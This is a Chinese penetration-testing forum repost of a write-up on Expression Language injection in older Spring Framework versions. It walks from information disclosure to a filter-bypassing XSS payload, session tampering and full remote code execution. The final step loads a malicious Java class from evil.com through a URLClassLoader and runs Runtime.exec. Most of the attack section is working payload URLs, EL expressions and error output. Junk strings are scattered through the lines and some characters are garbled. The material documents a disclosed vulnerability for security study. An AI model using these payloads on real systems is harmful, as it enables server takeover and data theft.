中国网络渗透测试联盟

标题: spring-远程代码注入 [打印本页]

作者: admin    时间: 2013-2-16 21:47
标题: spring-远程代码注入
Remote Code with- m( L  [6 j7 W. n
Expression Language Injection
# v5 M3 L9 O( U0 }Spring Framework脆弱性—DanAmodio$ F) `' n; z) H) O$ p
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
5 j% p# x( I3 t" M6 @1 j可能会存在风险。. I! _0 E. m+ o' w, ^2 w, R
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的+ B" G2 j, e3 R7 ], b
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可0 |+ R- |* P2 S
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
2 X! e2 @! U! n+ G/ c以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
) S* f1 W% ]3 C2 O* \& G版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
- F& T0 b- b; {" `7 L由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但3 }/ \" f! ^5 ?$ K- w. K! D
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
" e' U7 K6 Q3 ~- L0 S5 R# x0 f本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。) o( {2 [& e# K, E7 N
这些版本不支持禁用double EL resolution.
; _, j/ O! i$ A$ r& Q9 \这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
3 x; P  f9 {0 l6 F3 G% C7 XEL2.2容器上可能进行远程代码执行。; F) g6 Y$ E9 k( X0 Y' B: |4 u
这是一个原始信息泄露的攻击例子:9 u2 `, G: w1 X1 R8 K  R$ L+ J
请求:
4 M$ Z& f+ \6 J* s" s; _ttp://vulnerable.com/foo?message=${applicationScope}
9 w- x8 `9 s8 A% q6 M% E9 N7 o  m5 @到达以下内容页面:
; ]* B3 R! O8 |+ J4 s& m结果将输出一些包含内部服务器信息calsspath 和本地工作目录  K. R5 x1 F/ c5 h: z
你也可以做一些其他事情,如这样:: b% L5 E; h/ B2 [+ t9 o6 N# j
${9999+1}
3 E' h" {# a9 y; ]5 `还可以访问session 对象和beans3 ]% n4 ~, K- V" D
${employee.lastName}
, Z6 Q9 r4 X# {" b! f. s在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是  O6 v7 U; g/ g2 S
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东9 [# y3 ~0 ~! E- x- K2 T
西,比如XSS.( n, @5 o/ f, Z/ q# ^  ^* ?
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签; I: L9 {+ l# V7 x4 A: j! F' ]
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
8 H# a0 S/ }% c" `: I" K6 s呢?”
0 U! w& a! A. m因此,我尝试巳缦拢�
' I" x: K" C% r5 H# e# rhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP/ c0 a; \& c1 u& d: C- @, w
P
% \/ s  F  A% X% U% ~' }7 P我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返) |. a  [6 e+ {& Z- }
回的文本被插入进了spring:message 标签。& y; Z" q: f) M
这里是一个最终绕过过滤的实例:' s4 A# v! _6 ^; c# \6 X( W* [; _
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ+ W2 ^: z$ K5 ^/ R. w; h
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
% I9 h& }% t6 y, r什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?* O9 [3 Q) }5 q
经过一番研究,我学习到EL2.2 增加了方法调用。# K9 k. b$ j3 K# F, H2 \, y
我写了一个快速测试应用程序代码并且检测一些功能
0 V  I' K) E% \0 T% Q${pageContext.request.getSession().setAttribute(“account”,”123456″)}# X  Z) I- z$ m: e8 p
${pageContext.request.getSession().setAttribute(“admin”,true)}0 R6 g# w9 i* l/ M! R6 c
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的& C4 j* p" v3 T
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?0 e, d4 g; }9 ~) p1 I
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
$ K5 x+ m$ o* H: D“, 1234)}
% V9 D3 X4 q: s7 n${“”.getClass().forName(“java.lang.Runtime”)}! S' \" I. E6 `9 q* q9 r
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不1 W' T' e& E( E/ M- ?
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函( L- J; u) H2 G' f! D3 [/ A1 w( c
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有5 ?: `6 e6 C; b1 k4 Q9 ?- j/ F
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于: a0 I" d8 d4 n" s$ j* x2 m$ C
方法签名invoke(Object obj, Object„ args)
( g- \8 I1 a9 X/ T6 ^Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问! j6 V; M' W! m9 D
题,以让它可以工作起来。
5 t( D! @/ l7 ~$ I# ?! M& o漏洞利用:
& b3 |2 |7 k. o我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我$ q. ?  v- U2 X9 A8 f" u
希望你们中的一些JAVA奇才告诉我我是如此的可笑。3 W" d/ Z! A5 _5 F1 p. \6 I
这里有一些我试过的失败的用例,为了试图让它工作的用例:
, h# K/ ?3 p' ^% L+ E 写文件到文件系统( j! G5 I' R6 a: R) ~
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
. C; v  a  [6 k8 s' P+ f" @( G我认为这些可以很好的工作,但是我不能找到合适的类来载入。
( N. U* @1 o! v${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}3 I8 w8 i  x5 q7 {
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
; u0 A; y9 W8 S9 g1 C+ S) l( sorg.springframework.expression.spel.standard.SpelExpressionParser not found
! V9 l- }+ {! [, M2 V- I( gby
( ]0 F" ^  u" {- _org.glassfish.web.javax.servlet.jsp [194].
8 A( |- Y) g7 [5 d! E0 y" r/ p 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public: E9 o  V& i2 X7 g& x
 利用反射来创建一个新的Runtime(and watch the world burn)
. F; A) W" q" |# D: t5 q/ l. x) H8 ^${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName6 f8 G: s5 M9 k
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
9 E" q! w; T3 H* B( q${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
$ W' A5 U" T- M* T5 G 使用java.lang.ProcessBuilder+ X* |; V; F% b9 t0 [
 用表达式语言来评估表达式语言
2 r9 j+ q- |0 E6 d/ B: LExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.$ b2 n- `( i) D
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request; {3 G, Q. e0 H+ f8 ?7 {
“,”".getClass(),null)}( E  e+ r! j! }0 K
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)6 w& G5 Y2 i1 P+ R
我在使用一个空数组通过Method.invoke()时失败了很多次
- j- }" i: y- I4 s+ k8 C9 |$ |3 M& n“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
1 C6 e2 d- Y1 H0 q5 A.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A% t$ \& E( f9 P
rrayList”).newInstance().toArray())6 m+ b6 |( ~* w8 \9 w7 P0 b) D' {
java.lang.IllegalArgumentException: wrong number of arguments# X5 D, R% Q8 o' V5 N, W
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
! ~! B# s$ p0 J3 f2 I4 E以创建一个恶意class文件并且指向类装载器.
2 O( H7 _% y& @% M( `我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
; m! t$ h7 w& |3 e! E- E9 k6 ipublic class Malicious {
1 k& X/ S8 u; E+ E  ]. [public Malicious() {9 |2 Q- F0 F+ M$ `& a0 ?
try {' N1 ?+ E- U+ b2 K$ {
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac5 L5 K! n/ s0 O) \) B  y
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win& Q9 ]/ e; v" g6 D! D
} catch (Exception e) {% p% N3 A6 [, |' y# q5 B0 _. ^" J
}
3 e# ^2 O' D' \  B}
: p0 {2 v4 l) S0 l! e/ E我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
2 O, X& o9 j% e4 X话中,因此它可以被使用.2 U2 V* r2 R' Z! _
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName( L, |, N, T# ^4 u: |: h
(“java.util.ArrayList”).newInstance())}
" {% a! D1 _3 X+ H2 XURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建' K$ e$ v5 M( p, t9 C, _# f
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和9 P& v, A( P" l5 S2 U; W
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
. R9 W" A( T( ~' v2 }我们可以调用的create(string)方法,然后转换对一个URL对象。
+ ?* J5 r/ e- e" O& |6 Z${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
' n% n% S9 p$ Y4 P8 ^ere/malicious/classfile/is/located/”).toURL())}
: |/ `( e" o. c! m' D' _- R, o2 j$ t然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
; o* B% Y: p( ^5 l0 a  }( r恶意类文件被装载并创建,触发远程代码.
5 ~4 z* P( X' H3 u9 m${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
% r' F0 d6 v2 [+ I5 zxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().1 A5 j- B; P/ _# ~+ a( n
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
) n' v1 H1 ?* ~()}




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2